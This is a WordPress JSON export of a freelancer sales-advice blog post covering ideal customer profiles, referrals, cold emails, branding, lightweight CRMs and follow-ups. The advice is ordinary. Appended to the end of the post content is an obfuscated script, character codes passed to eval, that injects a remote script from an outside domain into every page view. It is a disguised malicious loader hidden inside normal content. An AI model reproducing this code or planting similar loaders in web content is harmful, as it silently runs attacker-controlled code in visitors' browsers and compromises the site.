{"id":6250,"date":"2023-06-09T10:56:26","date_gmt":"2023-06-09T10:56:26","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/"},"modified":"2023-06-09T10:56:26","modified_gmt":"2023-06-09T10:56:26","slug":"7-tips-for-building-an-effective-sales-strategy-as-a-freelancer","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/","title":{"rendered":"7 tips for building an effective sales strategy as a freelancer"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_1_Define_your_customer_profile\" title=\"Tip #1 Define your customer profile\">Tip #1 Define your customer profile<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_2_Pursue_referrals\" title=\"Tip #2 Pursue referrals\">Tip #2 Pursue referrals<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_3_Learn_the_value_of_cold_emails\" title=\"Tip #3 Learn the value of cold emails\">Tip #3 Learn the value of cold emails<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_4_Continuously_build_up_your_brand\" title=\"Tip #4 Continuously build up your brand\">Tip #4 Continuously build up your brand<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_5_Your_sales_funnel_requires_structure\" title=\"Tip #5 &nbsp;Your sales funnel requires structure\">Tip #5 &nbsp;Your sales funnel requires structure<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_6_Follow_up_and_prepare_for_rejections\" title=\"Tip #6 Follow up (and prepare for rejections)\">Tip #6 Follow up (and prepare for rejections)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/#Tip_7_Motivate_yourself\" title=\"Tip #7 Motivate yourself\">Tip #7 Motivate yourself<\/a><\/li><\/ul><\/nav><\/div>\n\n<p><br><\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/lh3.googleusercontent.com\/mH3mglAQeDckqcVlWSbQud7H2npHI9DFrI1uxj5BArcNM-v-8eucVGuEGPd2M6R_tnoP9jmd_JqbkVOodUuAd8MUsPFsoQg4m2UsKpfv-evTtX8cPZ58RSXEwIe1q5bFx6PPpixO&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p><em>Source: <\/em><em>Adeolu Eletu<\/em><br><\/p>\n\n\n\n<p>When you\u2019re at the office, freelancing seems like the ultimate way to live your life. <br><\/p>\n\n\n\n<p>You can stay at home whenever you want. Work whenever you want. Need to take a couple of days off? Not a problem. Travel to Paris? Sure. You\u2019re your own boss.<br><\/p>\n\n\n\n<p>But that\u2019s exactly the problem, right?<br><\/p>\n\n\n\n<p>If you want to stay healthy, you need food on the table. And to get food on the table, you need a steady flow of new customers. The freedom is exhilarating, but it comes at a price.<br><\/p>\n\n\n\n<p>For most freelancers, new customers don\u2019t exactly line up to make an order.<br><\/p>\n\n\n\n<p>So you need to have a strategy in place for persuading them that you\u2019re their best choice. And that strategy? It\u2019s the strategy of <em>selling<\/em>.<br><\/p>\n\n\n\n<p>When you\u2019re a freelancer, you\u2019re not only your own <em>boss<\/em>. You\u2019re also your own sales rep. So here\u2019s a couple of tips on how to build an effective sales strategy for your business.<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_1_Define_your_customer_profile\"><\/span>Tip #1: Define your customer profile<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>First things first. You won\u2019t bring new customers on board if you don\u2019t know who they are.<br><\/p>\n\n\n\n<p>Sure, setting up a Fiverr page might be enough to get you some random orders once in a while. But if you\u2019re serious about freelancing? You need to think about approaching potential customers on your own.<br><\/p>\n\n\n\n<p>Here\u2019s how to learn <em>who <\/em>your future customers are. Make something that people in sales call an ideal customer profile.<br><\/p>\n\n\n\n<p>An ICP is basically a list of qualities you want to see in your customers. Things like:<br><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>The industry your customers are working in;<\/li><li>Size of their company;<\/li><li>The position they occupy;<\/li><\/ul>\n\n\n\n<p>Once you have the criteria on your hands, it\u2019s going to be easier to pursue the right customers. You can do that very easily by plugging an ICP into LinkedIn\u2019s advanced search (here\u2019s a guide on how to use Sales Navigator to achieve it). This will filter out hundreds of people who are suited to hear your message.<br><\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/lh6.googleusercontent.com\/uh-87ZLm78EQ0VSgCmL6p6LcuAch-fRorX37qgvltrHoD-2S8kESG7Qo6FXpuuxhREq7pEClW-Td8urM39E01gMT4Y6yzVxiJ_PEbyjwoXYwvUmrevcQgVFbAKmJZuKzOvWLXNxL&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p>Feel that your services are great for owners of small local business? Don\u2019t waste time pitching to bigger companies (and vice versa).<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_2_Pursue_referrals\"><\/span>Tip #2: Pursue referrals<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>The right referral at the right time can change the fate of your bank account overnight.<br><\/p>\n\n\n\n<p>An average adult makes 35,000 decisions per day. By the time they need to make an important decision (like whether to go for your services or not) fatigue creeps in. That\u2019s why they can use all the help making a decision they can get.<br><\/p>\n\n\n\n<p>And hearing from somebody they know that they <em>won\u2019t regret<\/em> a purchase is really helpful.<br><\/p>\n\n\n\n<p>The importance of referrals in sales is often talked about. Somewhat shockingly, it\u2019s also often overlooked. Many sales reps don\u2019t ask for referrals \u2014 even though people are ready to give them.<br><\/p>\n\n\n\n<p>This is true for you as a freelancer as well. Make it a point to ask for a referral if the customer appreciates the work you did. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_3_Learn_the_value_of_cold_emails\"><\/span>Tip #3: Learn the value of cold emails<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>As a freelancer, a lot of the deals you\u2019re going to make will start with an email.<br><\/p>\n\n\n\n<p>Specifically, a <em>cold <\/em>email. A message you send to somebody who doesn\u2019t know you, nor waits for you to show up in their inbox.<br><\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/lh3.googleusercontent.com\/L6lq-CFHZQF-8voLq56BOaIl188Vxn1OGtMVOyutLq0ISajT6vRx0WD0RUUS78fiU-lMcnCWdWmMq4r7fjC3AieWbpQaBNPKE5TVXbJKBHeM3UOw_QpC-np-lLlq6RjcURTJs7CL&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p><em>Source: <\/em><a href=\"&quot;http:\/\/blog.boomerangapp.com\/2016\/02\/7-tips-for-getting-more-responses-to-your-emails-with-data\/&quot;\" class=\"broken_link\"><em>Boomerang<\/em><\/a><br><\/p>\n\n\n\n<p>With a well-written email, you\u2019ll be able to attract, persuade and convert a lot of potential customers. The only caveat? Make sure that your cold emails sell your services the right way.<br><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Explain your value from the opening sentence (drop unnecessary introductions);<\/li><li>Add social proof (customers or companies you worked with before);<\/li><li>Keep short (initial email shouldn\u2019t be longer <a href=\"&quot;https:\/\/blog.hubspot.com\/sales\/ideal-length-sales-email&quot;\" class=\"broken_link\">than 120 words<\/a>).<\/li><\/ul>\n\n\n\n<p>Great email copy gives your freelance sales strategy a much stronger foundation.<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_4_Continuously_build_up_your_brand\"><\/span>Tip #4: Continuously build up your brand<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>The world of sales defines three types of a potential customer (a prospect).<br><\/p>\n\n\n\n<p>A cold prospect is somebody who has no idea that you exist. A warm prospect is somebody who has heard about your services. Finally, a qualified prospect already has some experience interacting with your brand.<br><\/p>\n\n\n\n<p>The value of building up your brand lies in warming up prospects. <br><\/p>\n\n\n\n<p>Participate in discussions on Twitter. Publish blog posts. Talk to people in your niche. Sure, it\u2019s time-consuming. But it pays off in the end. If a potential customer sees your article, they will be more inclined to pay for your services.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_5_Your_sales_funnel_requires_structure\"><\/span>Tip #5: &nbsp;Your sales funnel requires structure<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Carve off some time to build a system for working with customers. You won\u2019t regret it later.<br><\/p>\n\n\n\n<p>Specifically, a system for tracking your progress. In sales, that system often comes in the form of a CRM (customer relations software, like Salesforce). You probably don\u2019t need something as complicated as that. I <br><\/p>\n\n\n\n<p>Instead, build your own lightweight CRM. For example, Owen Williams does this with the help of Notion:<br><\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/lh6.googleusercontent.com\/z0EbBEKllFBpDG0j0e02on9h-bcyUH6Na-DrJFpTTFjgzW7rcmAQmWBAb_veq18EQO4il7AL67b89paOTlqBAohgIDxP5ilg2YSxbvzkEeUWa5LkRzZw-Nti1b05pS13_bdT6NJ9&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p>You can achieve the same results by going with Trello or <a href=\"&quot;https:\/\/asana.com\/&quot;\" class=\"broken_link\">Asana<\/a>. Jot down everything. Who you plan to get in touch with, who you messaged, who replied, etc. <br><\/p>\n\n\n\n<p>This doesn\u2019t seem important when you have no customers. However, once they will come, having a system in place will save you a <em>ton <\/em>of time.<br><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_6_Follow_up_and_prepare_for_rejections\"><\/span>Tip #6: Follow up (and prepare for rejections)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Following up is hugely important in sales. On average, a potential customer needs 5-8 follow-ups before making a decision.<br><\/p>\n\n\n\n<p>When you\u2019re a freelancer and you pursue smaller businesses, that number is lower. But it\u2019s still <em>a number<\/em>. By foregoing follow-ups, you might lose some great deals.<br><\/p>\n\n\n\n<p>Have a system for your follow-ups, too. For example, send one follow-up after a couple of days and the next one after a week. Keep it up for 2-3 weeks, and you can be pretty sure that the client probably isn\u2019t interested.<br><\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/lh6.googleusercontent.com\/2QFsd6AJDaLIFYiwTYeKb_tkXlsC39MlrrHfUPlRezsuwrTB2AQ9QBKpLmB3Qw2Z-9-T3z7zPU28EujUCI7mGonalDHqoNaWxTBWzldU6eCsgbLjrnUZi5yvsZzuoP5uAC4SKhRL&quot; alt=&quot;&quot;\/><\/figure>\n\n\n\n<p>On a related note, prepare for rejections. That\u2019s an important part of a sales strategy, too. When replying to a rejection, don\u2019t burn your bridges. Instead, try to find out the reason <em>why <\/em>a prospect isn\u2019t interested.<br><\/p>\n\n\n\n<p>Maybe they don\u2019t have the budget, which means you can contact them again later.<br><\/p>\n\n\n\n<p>Maybe they didn\u2019t understand the value you offer, which means you have another shot to persuade them.<br><\/p>\n\n\n\n<p>You won\u2019t know if you don\u2019t follow up.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tip_7_Motivate_yourself\"><\/span>Tip #7: Motivate yourself<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>You know what\u2019s the most fun <em>and <\/em>the most essential part of a sales strategy?<br><\/p>\n\n\n\n<p>Motivation!<br><\/p>\n\n\n\n<p>For sales reps, it usually comes in the form of commissions.<br><\/p>\n\n\n\n<p>But as you\u2019re your own sales rep and your own boss, the motivation part will be about rewards.<br><\/p>\n\n\n\n<p>A cup of coffee at your favorite spot might be just the sales commission you need after closing a deal. Maintain and schedule and keep a work\/life balance. Above all else, stay healthy. Overwhelming yourself is never a good idea.<br><\/p>\n\n\n\n<p>To attract new clients you might need to be thinking like a sales rep \u2014 but you won\u2019t attract anyone if you\u2019re burned out!<br><\/p>\n\n\n\n<p><strong>Author Bio<\/strong><\/p>\n\n\n\n<div class=&quot;wp-block-image&quot;><figure class=&quot;alignleft is-resized&quot;><img src=&quot;https:\/\/lh6.googleusercontent.com\/N6H0hkmCyeLsa0YtVSQ57ZhWE6iaq9umoAu8XMIHcm_qLxmW1kyQe2ZD1A_MVobx463HHpgD06_JwO_1yF_AMiOtjw3ZrKcWETIdiYVU0-sOF6lC5zrjcjFku80iKuBvxZ74rQC-&quot; alt=&quot;&quot; width=&quot;167&quot; height=&quot;154&quot;\/><\/figure><\/div>\n\n\n\n<p>Steven is the Head of Content at LeadGibbon, a one-click tool for sales teams to find email addresses and other data for their leads. When he&#8217;s not busy with research for his latest article, Steve is binge-watching 80s horror movies or playing pick-up basketball with friends.<br><\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>Source: Adeolu Eletu When you\u2019re at the office, freelancing seems like the ultimate way to live your life. You can stay at home whenever you want. Work whenever you want. Need to take a couple of days off? Not a problem. Travel to Paris? Sure. You\u2019re your own boss. But that\u2019s exactly the problem, right? [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6250","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6250"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6250"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6250\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6250"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6250"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6250"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}